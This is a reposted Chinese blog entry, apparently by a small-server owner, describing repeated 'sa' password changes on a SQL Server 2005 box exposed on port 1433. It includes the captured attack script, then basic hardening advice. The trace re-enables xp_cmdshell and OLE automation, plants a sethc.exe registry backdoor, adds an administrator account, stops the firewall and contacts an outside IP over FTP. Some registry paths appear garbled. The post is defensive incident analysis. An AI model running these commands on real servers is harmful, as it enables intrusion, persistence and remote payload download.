加入收藏 | 设为首页 | 会员中心 | 我要投稿 李大同 (https://www.lidatong.com.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 站长学院 > MsSql教程 > 正文

sqlserver2005+sa密码反复被修改

发布时间:2020-12-12 14:54:25 所属栏目:MsSql教程 来源:网络整理
导读:一来到公司同事说系统登录提示‘sa’登录密码错误,郁闷! 这么重要的密码谁会去随便改动它?于是把sa密码先改回来,测试程序一切正常。 可是不到5分钟后又被告知‘sa’登录密码错误! 反复反复修改了几次sa密码,都是被修改,并且修改时间越来越快 先了解一

一来到公司同事说系统登录提示‘sa’登录密码错误,郁闷!

这么重要的密码谁会去随便改动它?于是把sa密码先改回来,测试程序一切正常。

可是不到5分钟后又被告知‘sa’登录密码错误!


反复反复修改了几次sa密码,都是被修改,并且修改时间越来越快

先了解一下情况,原来服务器开放了1433端口,在公网上绝对等死!

通过SQL Profiler 先跟踪一下数据库到底是中毒还是怎么了。

跟踪结果如下:

use master;

go
exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'xp_cmdshell',1;RECONFIGURE;
exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;

go
dbcc dropextendedproc ("xp_cmdshell");dbcc addextendedproc ("xp_cmdshell","xplog70.dll");
dbcc dropextendedproc ("xp_dirtree");dbcc addextendedproc ("xp_dirtree","xpstar.dll");
dbcc dropextendedproc ("xp_regread");dbcc addextendedproc ("xp_regread","xpstar.dll");
dbcc dropextendedproc ("xp_regwrite");dbcc addextendedproc ("xp_regwrite","xpstar.dll");

go
dbcc dropextendedproc ("sp_OACreate");dbcc addextendedproc ('sp_OACreate','odsole70.dll');
dbcc dropextendedproc ("sp_OASetProperty");dbcc addextendedproc ('sp_OASetProperty','odsole70.dll');
dbcc dropextendedproc ("sp_OADestroy");dbcc addextendedproc ('sp_OADestroy','odsole70.dll');
dbcc dropextendedproc ("sp_OAMethod");dbcc addextendedproc ('sp_OAMethod','odsole70.dll');

go
--*sp_password--------------------------------
--*sp_password--------------------------------
--*sp_password------------------------------------
--*sp_password----------------------------------
--*sp_password-------------------------------
--*sp_password------------------------------------
--*sp_password---------------------------------
--*sp_password----------------------------------
--*sp_password--------------------------------------
--*sp_password-------------------------------------
--*sp_password------------------------------------
--*sp_password------------------------------------
--*sp_password---------------------------------
--*sp_password------------------------------------
--*sp_password------------------------------------
--*sp_password------------------------------------

go
xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe','debugger','reg_sz','c:windowssystem32taskmgr.exe'

go
declare @cmd INT
exec sp_oacreate 'wscript.shell',@cmd output
exec sp_oamethod @cmd,'run',null,'net user TsInternetUser hackk /add','0','true'

go
declare @cmd INT
exec sp_oacreate 'wscript.shell','net localgroup administrators TsInternetUser /add','true'

go
EXEC sp_addlinkedserver 'testsql','OLE DB Provider for Jet','Microsoft.Jet.OLEDB.4.0','c:windowssystem32iasias.mdb'

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',1

EXEC master..xp_regread HKEY_LOCAL_MACHINE,'SoftwareMicrosoftJet4.0engines','SandBoxMode'

--*Statement text is removed
go
exec xp_cmdshell 'cmd.exe /c net stop sharedaccess&@echo open 60.190.114.148> cmd&@echo binary >> cmd&@echo bye >> cmd&ftp -s:cmd &del cmd /q /f&ping -n 3 127.0.0.1>nul'

go
--*sp_password--------------------------------
--*sp_password--------------------------------
--*sp_password------------------------------------
--*sp_password----------------------------------
--*sp_password-------------------------------
--*sp_password------------------------------------
--*sp_password---------------------------------
--*sp_password----------------------------------
--*sp_password--------------------------------------
--*sp_password-------------------------------------
--*sp_password------------------------------------
--*sp_password------------------------------------
--*sp_password---------------------------------
--*sp_password------------------------------------
--*sp_password------------------------------------
--*sp_password------------------------------------

go

知道人家是怎么样修改我的密码了,先将外网的所有没必要端口关掉!

---------------百度禁用xp_cmdShell

-- To allow advanced options to be changed.
EXEC sp_configure 'show advanced options',1
GO
-- To update the currently configured value for advanced options.
RECONFIGURE
GO
-- To enable the feature.
EXEC sp_configure 'xp_cmdshell',0
GO
-- To update the currently configured value for this feature.
RECONFIGURE
GO

把系统过程xp_cmdShell删掉。

同样的还有xp_dirtree,xp_regwrite,xp_regread。

最后把上面调用到的角本删除电脑查木马,杀毒。

这位温州的朋友,其实我的破服务器没什么东西,才80G硬盘,2G内存……用来瞎玩的,请高抬贵手一边凉快去

以上是自己的一点小小心得,还有许多不足之处,请高手们指点指点我,怎么样做才安全

还有哪些是露掉的?请指出。。。。。

(编辑:李大同)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    推荐文章
      热点阅读